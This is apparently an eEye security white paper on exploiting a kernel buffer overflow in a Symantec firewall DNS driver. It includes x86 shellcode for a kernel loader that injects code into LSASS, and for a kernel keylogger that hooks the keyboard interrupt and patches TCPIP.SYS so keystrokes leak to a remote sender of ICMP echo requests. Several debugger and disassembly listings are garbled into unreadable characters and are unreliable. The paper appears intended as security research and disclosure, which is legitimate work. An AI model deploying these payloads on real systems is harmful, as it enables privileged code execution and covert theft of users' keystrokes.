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Introduction 
 
It was almost a decade ago when Solar Designer posted a message to the Bugtraq mailing list providing 
exploit code and detailing a remote buffer overflow in the product Website v1.1e for Windows NT. I 
believe this was the first published buffer overflow exploit for Windows. 
 
Over eight years have passed and almost every possible method and technique regarding Windows 
exploitation has been discussed in depth. Surprisingly, a topic that has yet to be touched on publicly is the 
remote exploitation of Win32 kernel vulnerabilities; a number of kernel vulnerabilities have been 
published, yet no exploit code has surfaced in the public arena.  
 
I predict we will see more kernel vulnerabilities in the future, since more and more networking services 
are being implemented at the driver level.  One good example of this is Internet Information Services, 
which now contains a network driver that performs processing of HTTP requests.  
 
With the release of XP SP2 and wide use of personal firewalls, many software and security companies 
are making claims of secure systems.   Those wishing to disprove this claim are going to have to adapt to 
new methods of exploitation. But a firewall is a security product; therefore it must be secure, right? After 
all, it has been designed to protect against the very type of threats that I am proposing – don’t be 
discouraged. If the last two years have shown us anything, it is that security solutions have the same 
bugs and vulnerabilities as every other piece of software out there. 
  
Certainly, the developers of kernel code are of a very high caliber, and are few and far between. For this 
exact same reason, the code may not undergo the same level of peer scrutiny as that of a user based 
application. It only takes one mistake. 
 
In the article that follows, I will walk through the remote exploitation of a kernel-based vulnerability. The 
example I use was a flaw in the Symantec line of personal firewalls. The flaw existed due to incorrect 
handling of DNS responses. This issue was patched long ago, but it was chosen as it demonstrates 
certain obstacles relating to the communication layers that must be overcome when exploiting a host-
based firewall. 
 
I will provide two shell code examples: the first is a “kernel loader”, which will allow you to plug in and 
execute any user-land code you wish; the second operates entirely at the kernel level. A keystroke logger 
is installed and the keystroke buffer may be retrieved from a remote system. This example demonstrates 
more of an old school software crack than that of network shell code. 
 
This article assumes the reader has knowledge of x86 assembler language, and previous experience with 
Win32 exploitation. 
 
 
Kernel and User Land 
 
The i386 architecture supports four rings, otherwise known as privilege levels. Windows NT makes use of 
two of these rings. This decision was made so that the NT operating system would have the ability to run 
on architectures that do not support all four privilege levels.  
 
User land code, such as applications and system services, run in the privilege ring 3. User mode 
processes may only access their allocated two gigabytes of memory (the upper half of the four gigabytes 
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is accessible to the process when running in privileged mode), and user-code is pageable and may be 
context-switched.  
 
Kernel level code runs at privilege level 0. The HAL (Hardware Abstraction Layer), device drivers, IO, 
memory management and the graphics interface are all examples of code that run at ring 0. Code 
executing at the ring 0 privilege level runs with full system privileges. Full memory access and the ability 
to execute privileged instructions are available.  
 
The Native API 
 
By design, user mode processes cannot switch privilege levels arbitrarily. This ability would circumvent 
the entire security model of Windows NT. Of course, this security model has been circumvented multiple 
times. A recent example of this is an advisory published by Derek Soeder of eEye: 
 
http://www.eeye.com/html/research/advisories/AD20041012.html 
 
There are times when a user-land job cannot be completed without the power of a kernel level function. 
This is where the Native API comes into play. The Native API is a sparsely documented set of internal 
functions that execute within kernel mode. The reason the Native API exists is to offer a somewhat “safe” 
way to call kernel mode services from user land.  
 
A user-mode application may call Native API functions that are exported from NTDLL.DLL. NTDLL.DLL 
exports a large number of functions that offer a “wrapper” into the corresponding kernel function. Should 
you disassemble one of these functions you will find output similar to the following: 
 
Windows 2000: 
 
mov eax, 0x0000002f 
lea       edx, [esp+04] 
int       0x2e 
 
Each Native API function exported by NTDLL disassembles to a “stub” that transfers execution to kernel 
mode. A register is loaded with an index number, which indexes into the System Service Table, and 
subsequently accesses the offset into NTOSKRNL that represents the required function. 
 
 
Windows XP: 
 
mov eax, 0x0000002f 
mov     edx, 7ffe0300 
call      edx 
 
At offset 0x7ffe0300: 
 
mov edx, esp 
sysenter 
ret 
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On Windows XP things are a little different, provided your computer’s specs are a Pentium II or higher. 
Windows XP has switched to the SYSENTER/SYSEXIT instruction pair for switching to and from kernel 
mode. This adds a slight hitch to shell code creation, which will be explained in detail later. 
 
To create successful kernel-mode shell code, one must forget about the user-level API and use only 
Native API kernel functions. Documentation for much of the Native API can be found in Gary Nebbett’s 
book The Windows NT/2000 Native API Reference. 
  
 
Behind The Blue Screen 
 
You have found a vulnerability. You send your packet data to the remote system and are faced with the 
dreaded blue screen. In this case, it is a good thing. The first step in successfully exploiting a kernel-
based vulnerability is understanding what goes on behind the scenes of the “Blue Screen Of Death”. 
 
Whenever you see a BSOD, the native function KeBugCheckEx has been called.  A bugcheck can be 
issued in two ways: 
 

1. By the kernel exception dispatcher, or 
 
2. KeBugCheckEx was called directly after an error check. 
 

The chain of events for kernel exception handling is as follows: 
 
When an exception is issued, the kernel gains control via various function entries (KiTrapXX) within the 
IDT (Interrupt Descriptor Table). These functions make up the first level Trap Handler. The Trap Handler 
may deal with the exception itself, locate an exception handler to pass down to, or if it cannot be handled 
– it will call KeBugCheckEx.  
 
In all cases, we need to retrieve the Trap Frame to gain an understanding of where the exception 
happened and why it was caused. A trap frame is similar to a CONTEXT structure. With this structure, we 
can retrieve all register states and the instruction pointer value from the address where the exception was 
thrown. I tend to use the SoftICE debugger from Compuware/Numega for almost all of my debugging, but 
when working with the trap frame states, WinDbg provides far better functionality and structure 
recognition. If using SoftICE alone, I must manually locate the previous stack parameters. 
 
Provided your computer is set up to save memory dumps when a blue screen occurs, this file will be 
saved to %SystemRoot%\MEMORY.DMP by default. Load WinDbg and select “Open Crash Dump” to 
load the saved file. In the following example, KeBugCheckEx was called directly from the Trap Handler. 
 
After loading the memory dump WinDbg gives the following output: 
 
���������������������������������������������������������������������������
��������������������������������������������������������������������������������
��������������������������������	�
��������������������������������������������
��������������������������������������������������������������������������������
�������������������������������������������������������������������������� 
 
�����������������������������������������������������
�
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�������	�� !�"# # # # !�$!�%!�# # # # &�
'�����������������(�����	����)��*����+�,��-%./$���0 
 
Now issue the “display stack” command kv (display stack verbose). 
 
	�1��	��
����.�'�2��
�����
��������������������������

3%4# 53%�3%#���46�%%%%%%%��# # # # �%%%%%%%$����+��������	.)/%) 5�*7'8(�9:���
7-�;0�
3%4# 53%�# # # # �%%%%%%%��# # # # �%%%%%%%$����+�,��-%./%)$���*7'8(�9%!%;�,��-7�����<�
3%4# 55�0�
=
2:>:?(�7�����>'������������	��@���������7��@������������������@������
3%4# �%��5%5%5%5%�5%5%5%5%�5%5%5%5%�5%5%5%5%�%)# # # # �
%%%%%$#A�%%%%%%%%�%%%%%%%%�%%%%%%%%�%%%%%%%%�%)5%5%5%5% 
  
WinDbg shows that KeBugCheckEx was called from the trap routine KiTrapOE and the TrapFrame is at 
address 0x8054199C 
 
Now display the trap frame contents with the command “trap address”. 
 
	�1�����-�3%4# 55��
.�������B�%%%%%%%%�
��)B%%%%%%%%���)B3%��6��3���)B%%%%%%%%���)B%%%%%%%%����B�A����A�����B3%�C#�3��
��-B# # # # ���-B3%4# � %���-B########���-B%�������������-����-�������-�����
��B%%%3����B%% %����B%%$6����B%%$6����B%%6%����B%%%%���������������B%%%%%$#A�
# # # # �DD���������������DDD 
 
We can now see the state of all registers at the time the exception was thrown. We can also display the 
memory regions, up to a certain point. We see that the instruction pointer had the value 0x41414141, 
which was in this case user-defined data. We can now alter the flow of execution in any way we wish. 
 
In this particular case the data was located in the ESP register: 
 
	�1���3%4# � %�
3%4# � %��5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�������������������
3%4# �$%��5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�5%�������������������
3%4# �6%��5%�5%�5%�$��A%����%6�4�����%4��3��3����������36������E��;���������
3%4# �#%���4� ��5%�5%�5%�3���4�3�����66��5�AA��5��$�%$��������������6�������
3%4# �4%��6��$��C#�%6�6#�3%�����$��A�%���4��3�C%�4��C��$���F���#�������-G���
3%4# �A%�� 5�$���3�% ��3������� %�3%��4�CC�A3�5#�3%�3%�3%������������@������
3%4# �C%��#5�$4����$��6��4���6�5%�4��3C�C3�4$��C��6����4 ��>H��DG��G�)2���I�
3%4# �3%�� ���#�#���C��3����%��C��%6�A��5���6�#5�6 �3�� $����+����"�	��> �� 
 
Now we can redirect execution by replacing the 0x41414141 with an offset that executes a JMP ESP, 
CALL ESP, PUSH ESP/RET, etc. You take the same route you would to exploit any standard overflow 
vulnerability. 
 
If the Bugcheck had been issued from the exception dispatcher, the trap frame would be the third 
parameter passed to KiDispatchException. In that scenario, you would need to pass the third parameter 
address to the trap command. 
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When selecting an offset to redirect execution, an address that will be static in memory (ie: always loaded 
at the same address) is mandatory.  
 
Shell Code Examples 
  
The first shell code example is a “Kernel Loader” and will allow you to plug in any user-land code and 
have it safely executed. This is convenient if you wish to execute a remote shell, or any of the many 
common user-land shell codes. Interestingly, you have complete control of the processor, yet one of the 
handiest capabilities is to drop back to user-mode, go figure. This approach also saves you having to deal 
with the sparsely documented native API.  
 
The second example is pure kernel. This example sets a custom keyboard interrupt handler and captures 
all keystrokes. The shell code then patches the TCPIP.SYS ICMP handler to return the keyboard buffer to 
a remote computer upon receiving an ICMP ECHO request. This code is small and utilizes a very small 
number of API functions. 
 
To gain a complete understanding of the following examples, I recommend having copies of the 
accompanying source code on hand. 
 

The “Kernel Loader” 
 
There are a number of techniques to pass code from the kernel to user-land and have the code execute. 
You could, for instance, directly change the context EIP of a running user thread to point to your code –
the running process is going to self destruct after attempting this feat. 
 
One other idea is to make use of the functions RtlCreateUserThread and RtlCreateUserProcess within 
the NTOSKRNL– these functions exist to create SMSS.EXE, the only parentless process - as it is the Son 
of the Kernel. However, there are two problems: one, they are not exported, and two, and this is a big 
one, they are in the INIT section of NTOSKRNL. This means that by execution time the functions are 
gone. The drawback is having to remap NTOSKRNL, initialize some global variables 
(_MmHighestUserAddress and _NtGlobalFlag), and of course finding the functions in the first place.  
 
Another possibility is to create a remote thread in the user-land process and have the thread execute 
directly. Firew0rker touched on this in his Phrack article: http://www.phrack.org/phrack/62/p62-
0x06_Kernel_Mode_Backdoors_for_Windows_NT.txt 
 
Unfortunately, this method has its downfalls. When executing the user-land code, the CreateProcess API 
will fail;this is probably due to the CSRSS subsystem needing to be informed. The workaround was to 
retrieve and set a new CONTEXT structure within the user-land shell code.  
 
The goal is to keep the shell code as small as possible, and also be able to plug in any user-land code we 
wish without modification. In our case, the above workaround was not a viable option. This method also 
calls functions exported by NTDLL, which, outside of Windows 2000, can pose a problem. Windows 2000 
uses the interrupt 0x2e to make the transition from ring 3 to ring 0, these functions can be somewhat 
safely called directly, as the OS will allow the execution of the INT 0x2e instruction from either ring 0 or 
ring 3. 
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Unfortunately, in Windows XP a problem arises. Windows XP has switched to the more logical 
SYSENTER and SYSEXIT instruction pair for switching to and from ring 0. If an NTDLL exported function 
is called directly from the kernel, a blue screen is imminent. To get around this hurdle, additional code is 
needed to look up the required NTOSKRNL function from the System Service Table – additional code we 
could do without. The method I decided to implement utilizes Asynchronous Procedure Calls (APC’s) to 
execute our function (shell code) in user-land. This method only uses functions directly exported from 
NTOSKRNL. 
 
By issuing an APC call to a user-mode thread in an “Alertable Wait State”, the issued function should 
execute immediately, and no previous context creation is required. A thread in an “Alertable Wait State” is 
any thread which may have called SleepEx, WaitForSingleObjectEx, SignalObjectAndWait and 
MsgWaitForMultipleObjectsEx with the bAlertable flag set to TRUE. This method requires a minimal 
amount of API calls and tends to be very reliable.  
 
All functions we will be using are exported from NTOSKRNL.EXE. The first step is to manually retrieve 
the NTOSKRNL base address. To accomplish this we use what is dubbed a “mid-delta” technique: a 
pointer into the NTOSKRNL address space is retrieved, and we then decrement until we locate the “MZ” 
executable signature. To get a pointer into the NTOSKRNL address space we retrieve the first entry in 
the Interrupt Descriptor Table, as this entry should always point somewhere within NTOSKRNL. 
 
The following code accesses the IDT to get a memory pointer, and then decrements to find the base 
address. 
 
 
mov esi, dword ptr ds:[0ffdff038h]  ; get address of IDT 
lodsd      
cdq    
lodsd       ; get pointer into NTOSKRNL 
@base_loop: 
dec eax 
cmp dword ptr [eax], 00905a4dh     ; check for MZ signature 
jnz @base_loop 
 
 
The usual method for retrieving the base address of the IDT is to issue the SIDT instruction. As the IDT is 
also referenced by the pointer at the address 0xFFDFF038, we can access the IDT address directly and 
shave off a small number of bytes.  
 
You may have noticed that the above code did not retrieve a valid IDT function entry. We only really need 
the high word of the entry, as the low word can safely run from 0-0xFFFF and remain within NTOSKRNL 
memory. 
 
 
hash_table: 
 
dw 063dfh; "PsLookupProcessByProcessId" 
dw 0df10h; "KeDelayExecutionThread" 
dw 0f807h; "ExAllocatePool" 
dw 057d2h; "ZwYieldExecution" 
dw 07b23h; "KeInitializeApc" 
dw 09dd1h; "KeInsertQueueApc" 



   
 

 
eEye Digital Security White Paper 
Remote Windows Kernel Exploitation 
 

 
 

  

 
_pslookupprocessbyprocessid  equ [ebx] 
_kedelayexecutionthread    equ [ebx+4] 
_exallocatepool     equ [ebx+8] 
_keyieldexecution                 equ [ebx+12] 
_keinitializeapc                 equ [ebx+16] 
_keinsertqueueapc                equ [ebx+20] 
 
hash_table_end: 
 
Next we create a table of two-byte hashes for each of the required function calls.  Function strings 
generally take up an excessive amount of space within Win32 shell code, so using a hash-based 
approach is logical. Each function pointer is then stored in a table and accessed throughout the shell 
code via the EBX register.  
 
The next step is a standard “GetProcAddress” implementation. The code parses the export table of 
NTOSKRNL, and retrieves the corresponding function addresses. The one difference in this 
implementation is the hashing function which consists of a XOR/ROR of each byte of the export table 
name list.  
I use a WORD sized hash rather than a DWORD hash to keep the size of the shell code minimal. 
 
Once we have retrieved the addresses for our functions that we will be using, the next task is to allocate a 
new memory block to store the remaining shell code.   
The reason for this is that our code is residing on the stack, and future kernel functions will blow away 
chunks of our code – particularly when we attempt to lower the IRQL (Interrupt Request Level). We must 
protect our code by copying it to this new memory block. 
  
We call ExAllocatePool passing NonPagedPool as a parameter. We then copy the shell code that follows 
into the non-paged block, and simply execute a JMP instruction to this memory area. All code that follows 
is now safe to execute without affecting our shell code. 
 
When exploiting a driver, we must be aware of what IRQL (Interrupt Request Level) we are currently 
executing at. The Interrupt Request Level is the hardware priority level that a given kernel routine is 
currently running. Many kernel functions will require an IRQL level of PASSIVE (0) to successfully 
execute. If we are running at the DISPATCH (2) level, which is for the thread scheduler and DPC’s 
(Deferred Procedure Calls) – we must lower to PASSIVE. This is a simple matter of calling the HAL 
exported function KeLowerIrql and passing 0 (PASSIVE) as a parameter. 
 
As we are going to be attaching to a process in user-land, we are going to require a pointer to the 
processes EPROCESS structure. Every process has a corresponding EPROCESS structure. More 
information on this structure, and other structures referenced throughout this article can be found by 
dumping the structures in WinDbg (e.g.: dt NT!_EPROCESS). The function calls that we will be utilizing 
will require offsets gathered from the EPROCESS. If we can get a pointer to any EPROCESS structure, 
we can traverse the structure to retrieve pointers to the structures of all active processes.  
 
Generally, one would call PsGetCurrentProcess to get a pointer to an initial EPROCESS structure. 
Unfortunately, when exploiting a remote driver, we have the possibility of landing in the “Idle” address 
space. The “Idle” process does not return a valid process structure. Instead, I call 
PsLookupProcessByProcessId and pass the PID of the “system” process as the parameter. On Windows 
XP this will be 4 and on Windows 2000 this is 8. 
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lea ebp, [edi-4] 
push ebp 
push 04 
call dword ptr _pslookupprocessbyprocessid ;Get System EPROCESS 
mov eax, [ebp]   ; Get EPROCESS pointer 
 
 
 
With an initial structure now retrieved, we can access the structure of any active process.  I choose to 
inject my code into the address space of LSASS, but any process running as SYSTEM will be an 
adequate target. To access LSASS we loop through each entry pointed to by 
EPROCESS+ActiveProcessLinks and compare the ModuleName offset with LSASS. 
  
 
mov cl, EP_ActiveProcessLinks  ; offset to ActiveProcessLinks 
add eax, ecx        ; get address of EPROCESS+ActiveProcessLinks 
 
@eproc_loop:  
mov eax, [eax]               ; get next EPROCESS struct  
mov cl, EP_ModuleName 
cmp dword ptr [eax+ecx], "sasl"             ; is it LSASS? 
jnz @eproc_loop 
 
 
Once we have located the LSASS process, we subtract the ActiveProcessLinks offset, and we will have a 
pointer to the beginning of the EPROCESS structure for LSASS. 
 
The next step is to copy our shell code into our target’s memory space. At first I was going to store the 
shell code in the Process Environment Block; in the past, the PEB was always mapped at the address 
0x7ffdf000. With XP SP2, the PEB is now mapped at a random location. Although it can be found at 
0xFFDFF000->0x18->0x30, we have a better option: we can store our code within kernel-user-shared 
memory, officially known as SharedUserData. At 0xFFDF0000 is a writable memory area where we may 
store our shell code. This memory address is mapped from user land at 0x7FFE0000 and marked read 
only; these mapped locations are the same on all platforms, so it is a good choice for keeping everything 
generic. As the data at this memory location is readable from all processes, we are not required to switch 
into the address space of our target process. We write our data to 0xFFDF0000+0x800 from the kernel, 
and when queuing our user-mode APC, we pass the address 0x7FFE0000+0x800. 
 
 
call @get_eip2  
@get_eip2:  
pop esi 
mov cx, shell code-$+1 
add esi, ecx              ; Get shell code address 
mov cx, (shell code_end-shell code)         ; Shell code size 
  
mov dword ptr [edi], SMEM_ADDR ; 0xFFDF0000+0x800 
push edi 
mov edi, [edi]              ; Copy shell code to SharedUserData 
rep movsb 
pop edi 
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Now we must locate a thread which meets the requirements for executing our APC function. An APC can 
be scheduled as a kernel-mode APC, or a user-mode APC. In our case, we will be queuing a user-mode 
APC. 
A user-mode APC will not be called unless the thread we are passing it to is in an ”alertable wait-state”. 
As I briefly mentioned earlier, a thread enters an alertable wait state when calling one of the following 
functions: SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx and WaitForSingleObjectEx 
with the bAlertable flag set to TRUE. 
 
The trick to finding a useable thread is to access the pointer to the process’s ETHREAD structure, and 
loop through each thread until we find one that meets our requirements. 
 
mov edx, [edi+16]                 ; Pointer to EPROCESS 
mov ecx, [edx+ET_ThreadListHead] ; Get ETHREAD pointer 
@find_delay:  
mov ecx, [ecx]    ; Get next thread 
cmp byte ptr [ecx-ET_ThreadState], 04h ; Thread in DelayExecution? 
jnz @find_delay 
 
The code above first gets a pointer to the LSASS ETHREAD structure via the ThreadListHead 
LIST_ENTRY in the EPROCESS structure. We then check the flags of the thread state for a thread that is 
waiting within DelayExecution. 
 
Once our target thread has been found, we set the EBP register to the beginning of the KTRHEAD 
structure. Next we must initialize our APC routine.  
 
xor edx, edx 
push edx 
push 01    ; push processor 
push  dword ptr [edi]               ; push EIP of shell code (0x7ffe0000+0x800) 
push edx    ; push NULL 
push offset KROUTINE  ; push KERNEL routine 
push edx    ; push NULL 
push ebp    ; push KTHREAD 
push esi    ; push APC object 
call dword ptr _keinitializeapc ; initialize APC 
 
As parameters to the KeInitializeApc function, we push the EIP of our user-mode shell code (the shell 
code stored in SharedUserData). We must pass a kernel routine that will also be called. We require this 
routine to do absolutely nothing, so just pointing the routine towards a RET instruction is sufficient. The 
KTHREAD structure of the thread that will be executing our APC function is also required. The APC 
object will be returned in the variable pointed to by the ESI register. 
 
Now, our APC function must be inserted into the APC queue of our target thread. 
 

 
push eax    ; push 0 
push dword ptr [edi+4]  ; system arg 
push dword ptr [edi+8]  ; system arg 
push esi    ; APC object 
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call dword ptr _keinsertqueueapc 
 
The last function required to send our APC, is KeInsertQueueApc. In the above code, EAX is zero, and 
the two system arguments are also pointing to a NULL location. We also pass the APC object returned 
from our previous call to KeInitializeApc. 
 
Finally, to prevent our original payload thread from returning and killing all the hard work with a blue 
screen, we must put our thread to sleep. 
 
push  offset LARGE_INT 
push  FALSE 
push     KernelMode 
call dword ptr _kedelayexecutionthread 
 
We call KeDelayExecutionThread passing a large integer value, in our case 80000000:00000000. 
 
If, by some chance, we land in the “Idle” address space, this call may fail, a trick to get around this slim 
possibility is to yield execution of the thread (pass priority to other threads) and loop. The code snippet 
follows: 
 
@yield_loop: 
 call dword ptr _keyieldexecution   
 jmp @yield_loop 
  
So, with any luck, the user-mode thread should have executed safely within the SYSTEM process of your 
choosing. Provided that on completion of your APC function you exited the user code with a call to 
ExitThread, the system should hopefully remain stable. 
 

The ICMP Patching Interrupt Hooking Key-Logger 
 
I was chatting with Derek Soeder of eEye, and we were discussing what would be a useful shell code that 
consists of only kernel-level code. One of the ideas that came up was a kernel-level key-logger that can 
return the key buffer to a remote user. Obviously this is shell code, so creating a full-fledged keyboard 
filter and a communications tunnel may stretch the bounds of acceptable code size, so a few shortcuts 
had to be taken. 
 
Rather than attach a keyboard filter to capture keystrokes, we take a step back to the days of DOS and 
replace the keyboard interrupt handler with our own to capture scan codes. Instead of creating our own 
tunnel to return the keystrokes to a remote user, the approach I decided to take was to patch the ICMP 
handler of the TCPIP.SYS driver. The patch overwrites the ICMP ECHO handler to replace the buffer with 
a pointer to our keystroke buffer. Sending an ICMP ECHO request to the remote system will return the 
captured keystrokes. Thanks to Derek Soeder for supplying the utility to retrieve the remote keystrokes.  
 
The first step is to replace the IDT entry of the keyboard handler with an offset to our own interrupt 
handler. Now, on XP and Windows 2000 SP4, there is a Vector to IRQ table stored within the HAL 
memory space. We can simply search for some nearby signature bytes, and look up the vector that 
corresponds to IRQ1 (the keyboard IRQ). On earlier service packs, such as Windows 2000 SP0, this 
table doesn’t exist, but the vector table looks to be static. IRQ1 = Vector 0x31, IRQ2 = Vector 0x32, and 
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so on.  The following code first attempts to locate the Vector table, and failing that, will use the static 
interrupt vector of 0x31.  
 
 mov esi, dword ptr ds:[0ffdff038h]  ; Get base address of IDT 
 lodsd      
 cdq    
 lodsd     ; Get pointer into NTOSKRNL 
@base_loop: 
 dec eax 
 cmp dword ptr [eax], 00905a4dh ; Check for MZ signature 
 jnz @base_loop 
 jecxz @hal_base   ; NTOSKRNL base is in EAX      
 xchg edx, eax  
 mov eax, [edx+590h]  ;Get a pointer to a HAL function 
 xor ecx, ecx     
 jmp @base_loop   ;Find HAL base address 
@hal_base:  
 mov edi, eax   ;HAL base in EDI 
 mov ebp, edx   ;NTOSKRNL base in EBP 
 cld 
 mov eax, 41413d00h   ;Signature bytes "=AA\0" 
 xor ecx, ecx 
 dec cx    
 shr ecx, 4 
 repnz scasd      ;Get offset to table 
 or ecx, ecx 
 jz @no_table 
 
 lea edi, [edi+01ch]    ;Get pointer to Vector table 
 push edi 
 inc eax     ;IRQ 1  
 repnz scasb 
 pop esi 
 sub edi, esi   
 dec edi     ;Retrieve keyboard interrupt 
 jmp @table_ok 
@no_table:  
 mov edi, 031h    ;Use static vector if table not found 
@table_ok:  
 push edx 
 sidt [esp-2]                 ;Get IDT 
 pop edx 
 lea esi, [edx+edi*8+4]   ;Keyboard handler IDT entry 
 std     
 lodsd  
     
 lodsw                            ; EAX has address of keyboard handler  
 mov dword ptr [handler_old], eax   ; save 
  
First we locate the base addresses of both NTOSKRNL and HAL.DLL. 
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Next, we scan the HAL memory space for the signature bytes “=AA\0”. This DWORD marks the beginning 
of the IRQL-to-TPR (Task Priority Register) translation table, which neighbors the Vector->IRQ table. If 
the signature bytes are not found, we set the interrupt vector to the static value of 0x31. If the IRQ table is 
found, the required offset to the interrupt vectors is at IRQ table+0x1ch. We then locate the vector that 
corresponds to the keyboard IRQ1. Next, we retrieve the IDT base address by issuing the SIDT 
instruction. The formula for retrieving an interrupt vector IDT entry is as follows: 
 
IDT_BASE+INT_Vector*8 
 
We retrieve the address of the original interrupt handler from the IDT, and store it at the beginning of our 
handler, so we may return to the original handler after our new handler has completed its job. The 
following code overwrites the previous interrupt handler in the IDT with the address of our new interrupt 
handler: 
 

cld 
 mov eax, @handler_new 
  
 cli    ; Disable interrupts while overwriting the entry 
 mov [esi+2], ax  ; Overwrite IDT entry with new handler 
 shr eax, 16 
 mov [esi+8], ax 
 sti    ; Re-enable interrupts 
 
 
Next, we must allocate a buffer to store our captured keystrokes by calling ExAllocatePool.  We must also 
locate the ImageBase of TCPIP.SYS; we do this by parsing the PsLoadedModule list in the NTOSKRNL. 
Unfortunately PsLoadedModuleList is not publicly exported, and we will have to locate the list manually.  
 
A function exported from NTOSKRNL, MmGetSystemRoutineAddress, makes use of this list. 
 
IDA Snippet: 
 
3%43343 ���G3%43343 (����J��8�.�K2.7�(L�?��M�����2������
������/$��
3%43343 ���������������-������� ������������J�
����������������M������
3%433436���������������-�������9��-/M�����M�����;�J�M�����M������
3%43343A��������������������������)!�9��-/�������M�����;�
3%433435���������������-���������)�������������J������������M������
3%43343
�����������������������2��������M�����,�
���M������
3%433437��������������������������)!���)�
3%43345 ���������������N�����������������G3%4334C4�
3%433456�������������������������)!��������( $#��
3%433455���������������-������� ���������������J�=����
3%43345���������������������������!���)�
3%43345��������������������������@����-���9���/%�#�;�
3%4334
6���������������-����������������	G3%4#$7�%�J�2��������
3%4334
3������������������������.)
�O����2�������M�����P����
3%4334
���������������������������!��@���G3%4#$7�%���������	
	��	�
�����
3%4334�6�������������������������)!���������@���G3%4#$7�%�
3%4334�3���������������N�-��������������G3%43347. 
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To retrieve the required pointer, we pass the address of MmGetSystemRoutineAddress and increment 
through the routine to manually locate the offset to the PsLoadedModuleList. 
 
 mov  edi, _mmgetsystemroutineaddress 
@mmgsra_scan: 
 inc  edi 
 mov  eax, [edi] 
 sub  eax, ebp 
 test  eax, 0FFE00003h 
 jnz  @mmgsra_scan 
 mov  ebx, [edi] 
 cmp  ebx, [edi+5]   ;Check for pointer to PsLoadedModuleList 
 je  @pslml_loop 
 cmp  ebx, [edi+6]    
 jne  @mmgsra_scan 
 
@pslml_loop:                   ; _PsLoadedModuleList found. 
 mov  ebx, [ebx] 
 mov  esi, [ebx+30h] 
 mov  edx, 50435449h              ; "ITCP" ;TCPIP.SYS module? 
 push  4 
 pop  ecx 
@pslml_name_loop: 
 lodsw 
 ror  edx, 8 
 sub  al, dl 
 je  @pslml_name_loop_cont 
 cmp  al, 20h 
@pslml_name_loop_cont: 
 loopz  @pslml_name_loop 
@pslml_loop_cont: 
 jnz  @pslml_loop 
 
 mov     edi, [ebx+18h]                ;TCPIP.SYS imagebase 
 
The code above first traverses the MmGetSystemRoutineAddress routine until it finds the location of the 
ModuleList pointer.  
 
The structure of the system module list is as follows: 
 
  +00h  LIST_ENTRY 
  +08h  ??? 
  +18h  LPVOID                     module base address 
  +1Ch  LPVOID                    ptr to entry point function 
  +20h  DWORD                    size of image in bytes 
  +24h  UNICODE_STRING  full path and file name of module 
  +2Ch  UNICODE_STRING  module file name only 
   ... 
 
The module list is then parsed until the TCPIP.SYS module is found, and its base address is retrieved. 
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Earlier I mentioned that this code resembles a software crack more than network shell code, and here’s 
why: we are now going to patch the TCPIP driver so we are able to retrieve the captured keystrokes from 
a remote system. There are a multitude of paths we could have taken, and I decided to patch the ICMP 
echo handler to be used as our communications tunnel. 
 
The routine in TCPIP.SYS where we will apply our patch is the SendEcho function. The complete 
disassembly of the routine is too long to include, but the relevant snippet is below: 
 
77��A���������������������������������J�GG����-��*���-���0�.)
�����'��=���,��'�������*)!)!)!)0��
6���6�������������������������-�������)!���)�
35�#4� 3��������������������������9��-/���G %;!���)�
%7�3#��6�$��% �%%�����N���������G$.43.�
3��#4�$%����������������������������)!�9��-/:�����8������;�
3��44� �����������������������������)!�9��-/���G #;�
35�#4� #��������������������������9��-/���G�;!���)�
35�4��.3��������������������������9��-/���G 3;!���)�
��G �5�C(����������J��8�.�K2.7(�M���.���*)!)!)!)!)!)!)!)0/7��
3��#$�%�����������������������������)!�9��)/%��;�
�����������������������������������
��������� �
�!�"����#�#
�
�

$%�&'�($�')�$��$$���*����������'+�)�� ���"����#�#
�
� �
��G �5.6(����������J��8�.�K2.7(��-����>�L'M����*)!)0/ 6 #C�
3��C�� 3�����������������������������!�9��-/���G %;�
3��C$�%3�����������������������������!��
	!�&�� ���"
�#����,,
� 
 
In the above function disassembly, the pointer at [edx+8] points to the ICMP ECHO buffer. It is simply a 
matter of patching the above code to replace the pointer at [edx+8] with a pointer to our keystroke buffer. 
 
 mov eax, 428be85dh   ; Byte sequence to locate in TCPIP.SYS 
@find_patch: 
 inc edi 
 cmp dword ptr [edi], eax 
 jnz @find_patch 
 add edi, 5 
  
 mov al, 68h     
 stosb      ; Store "push" 
 mov eax, edx    ; EDX = pointer to key buffer 
 stosd      ; Store key buffer pointer 
 mov eax, 08428f90h    ; "pop [edx+08h] / nop" 
 stosd                  ; Patch rest of code 
 
The code above overwrites the patch location with the following code: 
 
push keybuffer_offset 
pop [edx+8] 
nop 
  
When an ICMP ECHO request is sent to the remote system, the response packet will now contain the 
captured key buffer. 
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The replacement interrupt handler itself is very simple – when a key is pressed our handler is invoked, we 
then read the scan code from the keyboard port, and store it in our captured keystroke buffer. 
 
 
@handler_new: 
 push 0deadbeefh  ; Save previous handler 
handler_old equ $-4 
  
 pushfd 
 pushad 
 xor eax, eax 
  
 lea edi, keybuf   ; Gets overwritten with allocated buffer   
KB_PATCH equ $-4 
 in al, 60h                ; Retrieve keyboard scan code 
 test al, al    ; No code? 
 jz @done 
  
 push edi 
 mov ecx, [edi]  
 lea edi, [edi+ecx+4] 
 stosb      ; Store code in buffer 
 inc ecx 
 pop edi 
 cmp cx, 1023 
 jnz @done 
 xor ecx, ecx 
  
@done: 
 mov [edi], ecx 
 popad 
 popfd 
 db 0c3h  ; Return to previous handler 
 
 
The above code is called whenever a key is pressed. The address of the previous interrupt handler 
(which is overwritten earlier in the code) is pushed onto the stack. We then read the current scan code 
from the keyboard port (060h) and store this code within our allocated buffer. The buffer circulates every 
0x3ff keypresses.  
 
And so it was done. 
 
Considerations When Exploiting Firewall Drivers 
 
There is a lot to be taken into consideration when exploiting kernel level vulnerabilities within firewall 
drivers. The specific vulnerability we used for demonstration arises from a flaw within the processing of 
DNS responses. The DNS responses are handled by the driver SYMDNS.SYS. If the DNS processing 
cannot successfully return, no socket communication will be possible. Before delving in to this problem, 
an understanding of the various communication layers (and how the Symantec firewall drivers fit in) must 
be discussed. 
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The following is a rundown of the Network layers in the chain order: 
 
Network Driver Interface Specification Layer (NDIS) 
NDIS provides the communication path from a physical device to a network transport, such as Ethernet. 
The NDIS drivers directly interface with the network adapter.   
 
Network Protocol Layer 
In our case, TCP/IP. (TCPIP.SYS) 
 
Transport Driver Interface Layer (TDI) 
